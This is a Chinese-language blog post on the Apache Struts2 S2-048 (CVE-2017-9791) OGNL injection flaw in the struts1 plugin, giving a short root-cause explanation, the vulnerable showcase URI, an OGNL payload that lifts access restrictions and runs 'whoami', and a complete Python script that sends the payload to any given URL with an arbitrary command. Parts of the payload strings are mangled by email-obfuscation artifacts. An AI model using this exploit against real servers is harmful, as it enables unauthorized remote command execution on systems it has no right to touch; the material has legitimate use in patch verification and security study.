S2-048(CVE-2017-9791)EXP

漏洞分析

从官方的漏洞描述我们可以知道,这个漏洞本质上是在struts2-struts1-plugin这个jar包上。这个库是用将struts1的action封装成struts2的action以便在strut2上使用。本质原因还是在struts2-struts1-plugin包中Struts1Action.java中execute函数调用了getText函数,这个函数会执行ognl表达式,更可恶的是getText的输入内容还是攻击者可控的。

漏洞触发

该漏洞触发需要非默认插件 struts2-struts1-plugin(利用起来没有S2-045高效)
需要手动寻找程序中将客户端参数值添加入 action message 的点

漏洞验证

默认URI:/struts2-showcase/integration/saveGangster.action

2.png

框内插入代码:
${(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#o):((#c=#context['com.opensymphony.xwork2.ActionContext.container']).(#g=#c.getInstance(@[email protected])).(#g.getExcludedPackageNames().clear()).(#g.getExcludedClasses().clear()).(#context.setMemberAccess(#o)))).(#[email protected][email protected]().getOutputStream()).(#[email protected]@getRuntime().exec('whoami')).(@[email protected](#p.getInputStream(),#o)).(#o.flush())}&age=1212&__checkbox_bustedBefore=true&description=123

提交

3.png

完整脚本:
#!/usr/bin/env python
#coding:utf8
import sys
import requests
requests.packages.urllib3.disable_warnings()

def poccheck(url,cmd='whoami'):
    result = False
    header = {
        'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',
        'Content-Type':"application/x-www-form-urlencoded"
    }
    data="name=${(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#o):((#c=#context['com.opensymphony.xwork2.ActionContext.container']).(#g=#c.getInstance(@[email protected])).(#g.getExcludedPackageNames().clear()).(#g.getExcludedClasses().clear()).(#context.setMemberAccess(#o)))).(#[email protected]@getResponse().getOutputStream()).(#[email protected]@getRuntime().exec('%s')).(@[email protected](#p.getInputStream(),#o)).(#o.flush())}&age=1212&__checkbox_bustedBefore=true&description=123" % str(cmd)
    if 'integration' not in url:
        url = url + "/struts2-showcase/integration/saveGangster.action"
    try:
        response = requests.post(url,data =data,headers=header,verify=False,allow_redirects = False)
        if response.status_code == 200 and 'struts2-showcase' not in response.content:
            result = response.content
    except Exception as e:
        print str(e)
        pass
    return result

if __name__ == '__main__':
    if len(sys.argv) == 2:
        print poccheck(sys.argv[1])
    elif len(sys.argv) == 3:
        print poccheck(sys.argv[1],sys.argv[2])
    else:
        print ("usage: %s http://www.baidu.com/vuln.action cmd" % sys.argv[0])
        sys.exit(-1)

1.png
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值